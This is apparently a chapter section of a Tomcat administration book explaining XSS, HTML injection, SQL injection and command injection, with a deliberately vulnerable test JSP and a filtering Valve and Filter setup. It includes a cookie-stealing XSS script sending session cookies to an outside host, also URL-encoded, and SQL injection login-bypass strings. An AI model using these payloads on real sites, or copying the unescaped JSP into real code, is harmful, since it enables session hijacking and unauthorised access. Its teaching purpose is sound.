Filtering Bad User Input

Regardless of what you use Tomcat for, if untrusted users can submit requests to your Tomcat server, it is at risk of being attacked by malicious users. Tomcat's developers have endeavored to make Tomcat as secure as possible, but ultimately it's Tomcat's administrators who install and configure Tomcat, and it's the web application developers who must develop the web applications themselves to operate within Tomcat. As secure as Tomcat is, it's still easy to write an insecure web application; however, just writing an application that does what it needs to do is difficult. Knowing about all of the ways that malicious users could exploit the web application code, and how to prevent that exploitation from happening, isn't always something that web developers focus on.

Unfortunately, if the web application itself is not specifically written to be secure, Tomcat may not be secure either. There are a small number of known web application security exploits that can compromise a web site's security. For that reason, anyone administering a Tomcat installation should not assume that Tomcat has already taken care of all of the security concerns! Configuring Tomcat to use a security manager helps to secure a web application that wasn't written to be secure, and installing it in a chroot jail places OS kernel-level restrictions that are hard to break out of, but doing those things doesn't magically fix all its vulnerabilities. Some exploits will still work, depending on the features of the application(s) you run.

If you administer one or more Tomcat installations where you run untrusted web applications from customers or other groups of people, or if you run web applications that you did not write and you do not have the source code for, you probably can't change the applications, secure or not. You may be able to choose not to host them on your server(s), but making the application code secure is rarely an option. Even worse, if you host multiple web applications in a single running instance of Tomcat, and one of the applications has security vulnerabilities, the vulnerable application could make all of your web applications insecure. As the administrator, you should do what you can to filter bad user input before it reaches the potentially vulnerable web applications, and be proactive about researching known security vulnerabilities that may affect your servers.

In this section, we show you the details of some well-known web application security vulnerabilities and some suggested workarounds, and then show you some code that filters potentially dangerous user input data. You can install and use this code to protect your Tomcat instances.

Vulnerabilities

Let's look at the details of some of the web application security exploits. These exploits are all remote user exploits—a malicious remote user sends carefully crafted request data to Tomcat in an attempt to circumvent the web application's security. But, if you can filter out the bad data, you can prevent some of the attacks from succeeding.

Cross site scripting

This is one of the most commonly known web application security exploits. Simply put, Cross Site Scripting (XSS[29]) is the act of writing malicious web browser scripting code and tricking another user's web browser into running it, all by way of a third- party's web server (like your Tomcat). XSS attacks are possible when a web application echoes back user-supplied request data without first filtering it. XSS is most common when the web application is being accessed by users with web browsers that support scripting languages (e.g., JavaScript or VBScript). Usually, XSS attacks attempt to steal a user's session cookie value, which the attacker then uses to log into the web site as the user who owned the cookie, and obtain full access to the victim's capabilities and identity on that web site. This is commonly referred to as HTTP session hijacking.

Here's one example of how XSS could be used to hijack a user's session. A web site (we'll call it www.example.com for the purpose of this example) running on Tomcat is set up to allow users to browse the web site and read discussion forums. To post a message to the discussion forum, the site requires that users log in, but it offers free account registration. Once logged in, a user can post messages in discussion forums, as well as do other things on the site such as online shopping. A malicious attacker notices that the web site supports a search function that echoes back user search query strings and does not filter or escape any special characters that users supply in the search query strings. That is, if one searches for "foo," she will get a list of all pages that refer to "foo." However, if there are no search results to list for "foo," the server says something like, "Could not find any documents including 'foo'."

The attacker then tries a search query like this:

<b>foo</b>

The site replies back:

Could not find any documents including 'foo'.

Notice that the search result message interpreted the bold tags that were typed into the search query string as HTML, rather than text! Then, the user tries this query string:

 <script language='javascript'>alert(document.cookie)</script>

If the server echoes this back to the web browser verbatim, the web browser will see the query string content as regular HTML containing an embedded script that opens an alert dialog window. This window shows any and all HTTP cookies (including their values) that apply to this web page. If the web site does this, and the user has a session cookie, the attacker knows the following things:

  • The web application is useable for XSS attacks because it doesn't adequately filter user input, at least on this page.

  • It is possible to use this web site to relay a small JavaScript program that will run on another user's web browser.

  • It is possible to use this web site to obtain another user's login session cookie and do something with that cookie's value.

The attacker then writes a very short JavaScript program that takes the session cookie and sends it to the attacker's machine, for inspection. For example, if the attacker had hacked into an account on the www.groovywigs.com web site and wanted to inspect a victim's cookie on that machine, he could write a JavaScript program that sends the victim user's session cookie value to that account like this:

<script language="javascript">document.location="http://www.groovywigs.com/foo" + docu
ment.cookie</script>

Once run, the script makes a JavaScript enabled web browser send the session cookie value to www.groovywigs.com.

To execute this script, the attacker finds out how search parameters are sent to the vulnerable site's search engine. This is most likely done through simple request parameters, and the relevant URL looks something like this:

http://www.example.com/search?query=foo

By using that example, the malicious user then creates a URL that includes his script and would send a victim's browser to a place where the attacker can inspect the victim's session cookie:

http://www.example.com/search?query=<script language="javascript">document.location="h
ttp://www.groovywigs.com/foo" + document.cookie</script>

Then, using URL encoding, the malicious user disguises the same URL content:

http://www.example.com/search?query=%3Cscript+language%3D%22javascript%22%3Edocument.l
ocation%3D%22http%3A%2F%2Fwww.groovywigs.com%2Ffoo%22+%2B+document
.cookie%3C%2Fscript%3E

This URL does the same thing as the previous URL but is less human-readable. By further encoding some of the other items in the URL, such as "javascript" and the "document.cookie" strings, the attacker may make it even harder to recognize the URL as an XSS attack URL.

The attacker then finds a way to get this XSS exploit link into one or more of the web site users' web browsers. Usually, the more users that the attacker can give the link to, the more victims there are to exploit. So, sending it in a mailing list email or posting it to a discussion forum on the web site will get lots of potential victims looking at it—and some will click on it. The attacker creates a fake user account on the www.example.com web site using fake personal data (verified with a fake email account from which he can send a verification reply email). Once logged into the web site with this new fake user account, the attacker posts a message to the discussion forum including the link. Then, the attacker logs out and waits, watching the access logs of the www.groovywigs.com web server he is hacked into. If a logged-in user of www.example.com clicks on the link, her session cookie value will show up in the access log of www.groovywigs.com. Once the attacker has this cookie value, he can use this value to access the account of the victim without being prompted to log in to the site.

Tip

How the user makes her web browser use this cookie value is different for every brand of web browser and can even vary across versions of the same brand of browser, but there's always a way to use it.

The worst case scenario here is for the web site to store sensitive information, such as credit card numbers (for the online shopping portions of the web site), and have it compromised because of an XSS attack. It's possible that the attacker could silently record the credit card information without the site's users knowing it happened, and its administrators would never know that they are the source of the information leak.

A large number of popular web sites are vulnerable to XSS exploits. They may not make it as easy as the above example, but if there's a spot in a web application where unfiltered input is echoed back to a user, XSS exploits can probably be devised. On some sites, it's not even necessary for the attacker to have a valid user account in order to use an XSS exploit. Web servers with web applications that are vulnerable to XSS attacks are written in all programming languages (including Java) and run on any operating system. It's a generic and widespread web browser scripting problem, and a problem on the server side that comes mainly from not validating and filtering bad user input.

What can you do as a Tomcat administrator to help fix the problem?

  • Configure Tomcat to use the BadInputValve shown in the upcoming section "HTTP Request Filtering." It's written to escape certain string patterns from the GET and POST parameter names and values so that most XSS exploits fail to work—without modifying or disabling your web applications.

  • In cases where Tomcat Valves are not a viable solution, add the BadInputFilter to your webapp to filter the requests from within the webapp. This filters the bad input just as the BadInputValve does.

  • Read the XSS-related web pages referenced in the "See also" section of this chapter, and learn about how these exploits work. Filter all user request data for anything that could cause a user's web browser to run a user-supplied script. This includes GET and POST parameters (both the names and the values), HTTP request header names and their values (including cookies), and any other URL fragments, such as URI path info.

  • Read about other suggested solutions to XSS attacks around the web and look into whether they would help you. This will probably help you to stay up-to-date on potential solutions.

  • Use only HTTPS and CLIENT-CERT authentication or some other method of session tracking that does not use HTTP cookies. Doing this should thwart any XSS attack that attempts to hijack a user's session by stealing the session cookie value.

As usual, there's no way to filter and catch 100 percent of XSS exploit content, but you can certainly protect against most of it.

HTML injection

This vulnerability is also caused by improper user input validation and filtering. HTML injection is the act of writing and inserting HTML content into a site's web pages so that other users of the web site see things that the administrators and initial authors of the web site didn't intend to be published.

Tip

Some advisory pages call this "HTML insertion."

Here are some examples of what a malicious user could use HTML injection to do, depending on what features the vulnerable web site offers:

  • Trick the web site's users into submitting their usernames and passwords to an attacker's server by inserting a malicious HTML form (a "Trojan horse" HTML injection attack).

  • Include a remotely hosted malicious web page in its entirety within the vulnerable site's web page (for example, using an inner frame). This can cause a site's users to think that the attacker's web page is part of the site and unknowingly disclose sensitive data.

  • Publish illegal or unwanted data on a web site without the owners of the web site knowing. This includes defacing a web site, placing a collection of pirated or illegal data links (or even illegal data itself) on a site whose authors had nothing to do with the illegal activity, and so on.

Most web sites that are vulnerable to HTML injection allow (at a minimum) an attacker to use an HTTP GET request to place as much data on the vulnerable site as the HTTP client will allow in a single URL—without being logged into the vulnerable site. As with XSS attacks, an attacker can send these long URLs in email or place them on other web pages for users to find and use. Of course, the longer the URL, the less likely people are to click on it, unless the link's URL is obscured from their view (for instance, by placing the long URL in an HTML href link).

Needless to say, this vulnerability is a serious one. Surprisingly, we weren't able to find much text about it on the Web—at least text that was solely about HTML injection and not about XSS as well. This is largely because most HTML injection vulnerabilities in web applications can also be used for XSS. However, there are many sites that protect against XSS by filtering on tags, such as <script>, and are still completely vulnerable to HTML injection.

What can you do as a Tomcat administrator to help fix the problem?

  • Configure Tomcat to use the BadInputValve shown in the "HTTP Request Filtering" section, later in this chapter.

  • In cases where Tomcat Valves are not a viable solution, add the BadInputFilter to your webapp to filter the requests from within the webapp. It filters the bad input just as the BadInputValve does.

  • Filter all user request data for the < and > characters, and if they're found, translate them to &lt; and &gt;, respectively. This includes GET and POST parameters (both the names and the values), HTTP request header names and their values (including cookies), and other URL fragments, such as URI path information.

  • Run only web applications that do not allow users to input HTML for display on the site's web pages.

  • Once you think your site is no longer vulnerable, move on to researching as many different kinds of XSS attacks as you can find information about, and try to filter those as well because many obscure XSS vulnerabilities can cause more HTML injection vulnerabilities.

SQL injection

In comparison to XSS and HTML injection, SQL injection vulnerabilities are quite a bit more rare and obscure. SQL injection is the act of submitting malicious SQL query string fragments in a request to a server (usually an HTTP request to a web server) in order to circumvent database-based security on the site. SQL injection can also be used to manipulate a site's SQL database in a way that the site's owners and authors didn't anticipate and probably wouldn't like. A site allowing user input in SQL queries or by having improper or nonexistent validation and filtering of that user input makes this type of attack possible.

Tip

This vulnerability is also known as "SQL insertion."

The only time that server-side Java code can be vulnerable to this kind of an attack is when the Java code doesn't use JDBC PreparedStatements. If you're sure that your web application uses only JDBC PreparedStatements, your application isn't likely to be vulnerable to SQL injection exploits. That is because PreparedStatements do not allow for changing the logic structure of a query at variable insertion time—essential for SQL insertion exploits to work. If your web application drives non-Java JDBC code that runs SQL queries, your application may also be vulnerable. Aside from Java's PreparedStatements (and any corresponding functionality in other programming languages), SQL injection exploits may work on web applications written in any language, for any SQL database.

Here's an example of a SQL injection vulnerability: let's say your web application is written in Java, using JDBC Statements and not PreparedStatements. When a user attempts to log in, your application creates a SQL query string using her username and password to see if she exists in the database with that password. If the username and password strings are stored in variables named username and password, for example, you might have code in your web application that looks something like this:

// We already have a connection to the database. Create a Statement to use.
Statement statement = connection.createStatement(  );

// Create a regular String containing our SQL query for the user's login,
// inserting the username and password into the String.
String queryString = "select * from USER_TABLE where USERNAME='" +
    username + "' and PASSWORD='" + password + "';";

// Execute the SQL query as a plain String.
ResultSet resultSet = statement.executeQuery(queryString);

// A resulting row from the db means that the user successfully logged in.

So, for example, if a user logged in with the username of jasonb and a password of guessme, the following code would assign this string value to queryString:

select * from USER_TABLE where USERNAME='jasonb' and PASSWORD='guessme';

The string values of the username and password variables are concatenated into the queryString, regardless of what they contain. For the purposes of this example, let's also assume that the application doesn't yet do any filtering of the input that comes from the username and password web page form fields before including that input in the queryString.

Now that you understand the vulnerable setup, let's examine the attack. Consider what the queryString would look like if a malicious user typed in a username and password like this:

Username: 'jasonb'
Password: ' or '1'='1

The resulting queryString would be:

select * from USER_TABLE where USERNAME='jasonb' and PASSWORD='' or '1'='1';

Examine this query closely: although there might not be a user in the database named jasonb with an empty password, 1 always equals 1, so the database happily returns all rows in the USER_TABLE. The web application code will probably interpret this as a valid login because one or more rows were returned. An attacker won't know the exact query being used to check for a valid login, so it may take some guessing to get the right combination of quotes and Boolean logic—but eventually, a clever attacker will break through.

Of course, if the double and/or single quotes are escaped before they are concatenated into the queryString, it becomes much harder to insert additional SQL logic into the queryString. Further, if whitespace wasn't allowed in these fields, then the user couldn't use it to separate logical operators in the queryString. Even if the application doesn't use PreparedStatements, there are still ways of protecting the site against SQL injection exploits; simply filtering out whitespace and quotation marks makes SQL injection much more difficult to accomplish.

Another thing to note about SQL injection vulnerabilities is that each brand of SQL database has different features, each of which may be exploitable. For instance, if the web application runs queries against a MySQL database, and MySQL allows the # character to be used as a comment marker, an attacker might enter a username and password combination like this:

Username: 'jasonb';#
Password: anything

The resulting queryString would look like this:

select * from USER_TABLE where USERNAME='jasonb';# and PASSWORD='anything';

Everything after the # becomes a comment, and the password is never checked. The database returns the row where USERNAME='jasonb', and the application interprets that result as a valid login. On other databases, two dashes (--) mark the beginning of a comment, which could be used instead of #. Additionally, single or double quotes are common characters that are exploitable.

There are even rare cases where SQL injection exploits call stored procedures within a database, which then can perform all sorts of mischief. This means that even if Tomcat is installed in a secure manner, the database may still be vulnerable to attack through Tomcat, and one might render the other insecure if they're both running on the same server computer.

What can you do as a Tomcat administrator to help fix the problem?

  • Configure Tomcat to use the BadInputValve shown in the "HTTP Request Filtering" section, later in this chapter.

  • In cases where Tomcat Valves are not a viable solution, add the BadInputFilter to your webapp to filter the requests from within the webapp. It filters the bad input just as the BadInputValve does.

  • If you can't install any Tomcat Valves, rework your web application to use only PreparedStatements and so that they validate user input by escaping special characters and filtering out vulnerable string patterns, much like BadInputValve does.

  • Filter all user request data for the single and double quote characters, and if they're found, translate them to &#39; and &quot; respectively. That includes GET and POST parameters (both the names and the values), HTTP request header names and their values (including cookies), and any other URL fragments, such as URI path info.

Command injection

Command injection is the act of sending a request to a web server that will run on the server's in a way that the authors of the web application didn't anticipate, to circumvent security on the server. This vulnerability is found on all operating systems and all server software that runs other command-line commands to perform some work as part of a web application. It is caused by improper or nonexistent validation and filtering of the user input before passing the user input to a command-line command as an argument.

There is no simple way to check if your application is vulnerable to command injection exploits. For this reason, it's a good idea to always validate user input. Unless your web application uses the CGIServlet or invokes command-line commands on its own, it probably isn't vulnerable to command injection exploits.

To guard against this vulnerability, most special characters need to be filtered from user input because command shells accept and use so many special characters. Filtering these characters out of all user input is usually not an option, as some parts of web applications commonly need some of the characters that must be filtered. Escaping backtick (`), single quote ('), and double quote (") characters are probably good across the board, but it may not be so simple for other characters. To account for a specific application's needs, you may need custom input validation code.

What can you do as a Tomcat administrator to help fix the problem?

  • Configure Tomcat to use the BadInputValve shown in the "HTTP Request Filtering" section, later in this chapter.

  • In cases where Tomcat Valves are not a viable solution, add the BadInputFilter to your webapp to filter the requests from within the webapp. It filters the bad input just as the BadInputValve does.

  • Filter all user request data and allow only the following list of characters to pass through unchanged: 0-9A-Za-z@-_:. Any other characters should not be allowed. This includes GET and POST parameters (both the names and the values), HTTP request header names and their values (including cookies), and any other URL fragments, such as URI path info.

HTTP Request Filtering

Now that you've seen the details of some different exploit types and our suggested solutions, we show you how to install and configure some code that will fix most of these problems.

To easily demonstrate the problem and test a solution, we've coded up a single JSP page that acts like a common web application, taking user input and showing a little debugging information. Example 6-4 shows the JSP source of the input_test.jsp page.

Example 6-4. JSP source of input_test.jsp

<html>
  <head>
    <title>Testing for Bad User Input</title>
  </head>
  <body>

    Use the below forms to expose a Cross Site Scripting (XSS) or
    HTML injection vulnerability, or to demonstrate SQL injection or
    command injection vulnerabilities.

    <br><br>

    <!-- Begin GET Method Search Form -->
    <table border="1">
      <tr>
        <td>
           Enter your search query (method="get"):

          <form method="get">
            <input type="text" name="queryString1" width="20"
                   value="<%= request.getParameter("queryString1")%>"
            >
            <input type="hidden" name="hidden1" value="hiddenValue1">
            <input type="submit" name="submit1" value="Search">
          </form>
        </td>
        <td>
          queryString1 = <%= request.getParameter("queryString1") %><br>
          hidden1 =      <%= request.getParameter("hidden1") %><br>
          submit1 =      <%= request.getParameter("submit1") %><br>
        </td>
      </tr>
    </table>
    <!-- End GET Method Search Form -->

    <br>

    <!-- Begin POST Method Search Form -->
    <table border="1">
      <tr>
        <td>
           Enter your search query (method="post"):

          <form method="post">
            <input type="text" name="queryString2" width="20"
                   value="<%= request.getParameter("queryString2")%>"
            >
            <input type="hidden" name="hidden2" value="hiddenValue2">
            <input type="submit" name="submit2" value="Search">
          </form>
        </td>
        <td>
          queryString2 = <%= request.getParameter("queryString2") %><br>
          hidden2 =      <%= request.getParameter("hidden2") %><br>
          submit2 =      <%= request.getParameter("submit2") %><br>
        </td>
      </tr>
    </table>
    <!-- End POST Method Search Form -->

    <br>

    <!-- Begin POST Method Username Form -->
    <table border="1">
      <tr>
        <td width="50%">
          <% // If we got a username, check it for validity.
             String username = request.getParameter("username");
             if (username != null) {
                 // Verify that the username contains only valid characters.
                 boolean validChars = true;
                 char[] usernameChars = username.toCharArray(  );
                 for (int i = 0; i < username.length(  ); i++) {
                     if (!Character.isLetterOrDigit(usernameChars[i])) {
                         validChars = false;
                         break;
                     }
                 }
                 if (!validChars) {
                     out.write("<font color="red"><b><i>");
                     out.write("Username contained invalid characters. ");
                     out.write("Please use only A-Z, a-z, and 0-9.");
                     out.write("</i></b></font><br>");
                 }
                 // Verify that the username length is valid.
                 else if (username.length() < 3 || username.length(  ) > 9) {
                     out.write("<font color="red"><b><i>");
                     out.write("Bad username length. Must be 3-9 chars.");
                     out.write("</i></b></font><br>");
                 }
                 // Otherwise, it's valid.
                 else {
                     out.write("<center><i>
");
                     out.write("Currently logged in as <b>" + username + "
");
                     out.write("</b>.
");
                     out.write("</i></center>
");
                 }
             }
          %>

          Enter your username [3-9 alphanumeric characters]. (method="post"):

          <form method="post">
            <input type="text" name="username" width="20"
                   value="<%= request.getParameter("username")%>"
            >
            <input type="hidden" name="hidden3" value="hiddenValue3">
            <input type="submit" name="submit3" value="Submit">
          </form>

        </td>
        <td>
          username = <%= request.getParameter("username") %><br>
          hidden3 =      <%= request.getParameter("hidden3") %><br>
          submit3 =      <%= request.getParameter("submit3") %><br>
        </td>
      </tr>
    </table>
    <!-- End POST Method Username Form -->

  </body>
</html>

Copy the input_test.jsp file into your ROOT web application:

# cp input_test.jsp $CATALINA_HOME/webapps/ROOT/

Access the page at http://localhost:8080/input_test.jsp. When it loads, it should look like Figure 6-3.

input_test.jsp running

Figure 6-3. input_test.jsp running

The forms on the page contain two mock search query forms and one mock username entry form. The two search query forms are the same, but one uses HTTP GET and the other uses HTTP POST. Additionally, their parameters are numbered differently so that we can play with both forms at once and their parameter values won't interfere with each other. The page does absolutely no input validation for the search query forms, but it does do input validation for the username form. All of the forms on the page autorepopulate themselves with the last submitted value (or null if there wasn't any last value).

Try entering data into the forms to expose the page's vulnerabilities. Here are some examples:

  • Enter <script>alert(document.cookie)</script> into one of the search fields to display your own session cookie by way of XSS.

  • Enter <iframe src=http://tomcat.apache.org></iframe> into one of the search fields to demonstrate that an HTML injection exploit would work.

  • Try entering "><input type="hidden" name="hidden3" value="SomethingElse"> into the username field, and then enter foo and submit again. Notice that on the second submittal, the value of hidden3 changed to SomethingElse. That's a demonstration of incomplete input validation and parameter manipulation.

  • Enter a username of jasonb' OR ''=' and note that it does indeed set the username parameter to that string, which could take advantage of an SQL injection vulnerability (depending on how the application's database code is written).

For each input field in your web application, make an exact list of all of the characters that your application needs the users to be able to input. Accept only those characters, and filter everything else out. That approach seems safest—although if the application accepts a lot of special characters, you may end up allowing enough for various exploits. To work around these cases, you can use exploit pattern search and replace filtering (for instance, regular expression search and replace), but usually only for exploits that you know about in advance. Fortunately, we have information about several common web application security exploits that we can globally filter for.

Warning

BadInputValve and BadInputFilter filter only parameter names and values. They do not filter header names or values, or other items, such as path info that could contain exploitation data. For most attacks, filtering the parameters will do, but not for all, so beware.

If you globally filter all request information for regular expression patterns that you know are used mostly for exploits, you can modify the request before it reaches your code, and stop the known exploits. Upon finding bad request data, you should either forbid the request or escape the bad request data. That way, applications don't need to repeat the filter code, and the filtering can be done globally with a small number of administration and maintenance points.

You can achieve this kind of global filtering by installing either a custom Tomcat Valve or a servlet Filter.

Tomcat Valves offer a way to plug code into Tomcat's container system, and have that code run at various stages of request and response processing, with the web application content running in the middle—after the request processing and before the response processing. Valves are not part of any web application but are code modules that run as though they were part of Tomcat's servlet container itself. Another great thing about Valves is that a Tomcat administrator can configure a Valve to run for all deployed web applications or for a particular web application—whatever scope is needed for the desired effect—all without modifying any of the web applications themselves. Appendix C contains the complete source code for BadInputValve.java.

Servlet Filters offer a very similar set of features as Valves, however, Filters are part of the Java Servlet Specification and were designed to be able to be servlet container implementation independent. That is, they are designed to be runnable without any modifications on more than one servlet container implementation, just like servlets and JSPs. Because they are designed to be servlet container implementation independent, Filters cannot offer a Tomcat-specific API as Valves do. Filters implement an API that is part of the Java Servlet Specification, which is meant to be the same across all compliant servlet containers. The benefit to that is that webapps containing Filters can usually be deployed on different servlet containers and the Filters still work the same. Usually, the class binary for a Filter must reside in a webapp's WEB-INF/lib or WEB-INF/classes directory tree, which means that for each webapp where you'll use the Filter, you must have another copy of the binaries. This is especially true if each webapp must be self-contained and individually deployable into separate servlet container installations. And, a Filter is configured in each webapp's web.xml file.

Filters, unlike Valves, can be configured to run on specific URLs or URL patterns—you can choose to run the Filter only for the kinds of requests that need it. Doing so does not require a rewrite of the Filter's code or a recompile of the Filter. This can, in some cases, significantly lighten the request-processing load in the Tomcat JVM because the Filter would not need to run for all requests in a webapp. Valves can be specially written to run only when the request URI matches certain patterns, but you must write your own matching code for that.

Valves, on the other hand, can be installed and configured in one place for all webapps if that's what you need. But, because they are installed into Tomcat, outside any webapp's directory tree, the webapps are not self-contained if the proper operation of the webapp depends on the Valve running. If you just redeployed the webapp into another Tomcat installation, the Valve won't get deployed with the webapp. On Tomcat 6.0, you must deploy and configure the Valve by hand, which means copying the Valve's compiled jar file into the CATALINA_HOME/lib directory and then editing either server.xml or the file that contains a webapp's Context.

These two different ways of filtering requests are each great at what they were designed for. You should use the one that best matches what you're trying to do. Also, because the same functionality is implemented both as a Valve and as a Filter, you are not stuck with just one or the other. If you decide to use BadInputValve today, you do not need to worry that your webapp will not be portable later if you decide to switch to a different servlet container implementation (because you could easily configure BadInputFilter to do exactly the same thing from inside your webapp). Appendix D contains the complete source code for BadInputFilter.java.

BadInputValve and BadInputFilter filter various bad input patterns and characters to stop XSS, HTML injection, SQL injection, and command injection exploits. Table 6-1 shows the configuration attributes of the BadInputValve. The same attributes are configurable on the BadInputFilter as initialization parameters, except for className.

Table 6-2. BadInputValve attributes

Attribute

Meaning

className

The Java class name of this Valve implementation; must be set to com.oreilly.tomcat.valve.BadInputValve.

escapeQuotes

Determines whether this Valve will escape any quotes (double, single, and backtick quotes) that are part of the request parameters before the request is performed. Defaults to false.

escapeAngleBrackets

Determines whether this Valve will escape any angle brackets that are part of the request's parameters, before the request is performed. Defaults to false.

escapeJavaScript

Determines whether this Valve will escape any potentially dangerous references to JavaScript functions and objects that are part of the request's parameters. Defaults to false.

allow

A comma-separated set of regular expressions that cause this Valve to allow a request to be processed. You may leave this unset to specify none. If no allows are set, and one or more denies are set, no requests will be allowed to proceed.

deny

A comma-separated set of regular expressions that cause this Valve to deny requests. If one of the regular expressions in the deny list matches part of a parameter name or value, the request is denied. You may leave this unset to specify none. If no denies are set and no allows are set, all requests are allowed and their parameters are filtered. If no denies are set but one or more allows are set, this Valve will allow requests to be processed only when one or more allow patterns match part of a parameter name or value.

To compile these Java classes first set the CATALINA_HOME environment variable:

$ export CATALINA_HOME=/opt/tomcat

Then, change directory into the bad-input directory and create a classes directory for the binaries, and then compile them:

$ cd bad-input
$ mkdir classes
$ javac -classpath $CATALINA_HOME/lib/catalina.jar:$CATALINA_HOME/lib/servlet-api.jar
:$CATALINA_HOME/bin/tomcat-juli.jar
-d classes src/com/oreilly/tomcat/valve/BadInputVal
ve.java src/com/oreilly/tomcat/filter/BadInputFilter.java

Once the classes are compiled, create a JAR file containing the resulting class binaries:

$ cd classes
$ jar cvf bad-input.jar com
added manifest
adding: com/(in = 0) (out= 0)(stored 0%)
adding: com/oreilly/(in = 0) (out= 0)(stored 0%)
adding: com/oreilly/tomcat/(in = 0) (out= 0)(stored 0%)
adding: com/oreilly/tomcat/valve/(in = 0) (out= 0)(stored 0%)
adding: com/oreilly/tomcat/valve/BadInputValve.class(in = 6119) (out= 3032)(deflated 5
0%)
adding: com/oreilly/tomcat/filter/(in = 0) (out= 0)(stored 0%)
adding: com/oreilly/tomcat/filter/BadInputFilter.class(in = 8340) (out= 4177)(deflated
 49%)

Where you install this JAR file depends on whether you're trying to use the Valve or the Filter.

Installing the BadInputValve

To install the BadInputValve, copy the bad-input.jar file into the $CATALINA_HOME/lib directory (you may need administrator privileges to do this, depending on how you installed Tomcat):

# cp bad-input.jar $CATALINA_HOME/lib

Next, configure the <Valve> inside your webapp's <Context> container element, wherever you configured that. Add the <Valve> element to your <Context> like this:

<Context path="" docBase="ROOT">
  <Valve className="com.oreilly.tomcat.valve.BadInputValve"
         deny="x00,x04,x08,x0a,x0d"
         escapeQuotes="true"
         escapeAngleBrackets="true"
         escapeJavaScript="true"/>
</Context>

Then, restart Tomcat:

# /etc/rc.d/init.d/tomcat restart

Now that you've installed the BadInputValve, your input_test.jsp page should act immune to all XSS, HTML injection, SQL injection, and command injection exploits. Try submitting the same exploit parameter contents as before. This time, it will escape the exploit characters and strings instead of interpreting them.

Installing the BadInputFilter

To install the BadInputFilter, copy the bad-input.jar file into your webapp's WEB-INF/lib directory:

# cp bad-input.jar $CATALINA_HOME/webapps/your-webapp/WEB-INF/lib

Next, configure the Filter inside your webapp's WEB-INF/web.xml file, like this:

  <filter>
    <filter-name>BadInputFilter</filter-name>
    <filter-class>com.oreilly.tomcat.filter.BadInputFilter</filter-class>
    <init-param>
      <param-name>deny</param-name>
      <param-value>x00,x04,x08,x0a,x0d</param-value>
    </init-param>
    <init-param>
      <param-name>escapeQuotes</param-name>
      <param-value>true</param-value>
    </init-param>
    <init-param>
      <param-name>escapeAngleBrackets</param-name>
      <param-value>true</param-value>
    </init-param>
    <init-param>
      <param-name>escapeJavaScript</param-name>
      <param-value>true</param-value>
    </init-param>
  </filter>
  <filter-mapping>
    <filter-name>BadInputFilter</filter-name>
    <url-pattern>/input_test.jsp</url-pattern>
  </filter-mapping>

You can map the Filter to any URL(s) you wish, but in the preceding configuration, we mapped it to our /input_test.jsp file so that it was easily testable. You may want to try that first.

Then, restart Tomcat:

# /etc/rc.d/init.d/tomcat restart

At that point, the BadInputFilter should be running and filtering requests.



[29] * Some people abbreviate it "CSS" because "cross" starts with a letter C, but like most three letter acronyms (TLAs), that combination of three letters already had an even more commonly known meaning—Cascading Style Sheets. So, in order to avoid any confusion between these two different web concepts, we now abbreviate Cross Site Scripting as "XSS."

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
18.117.186.92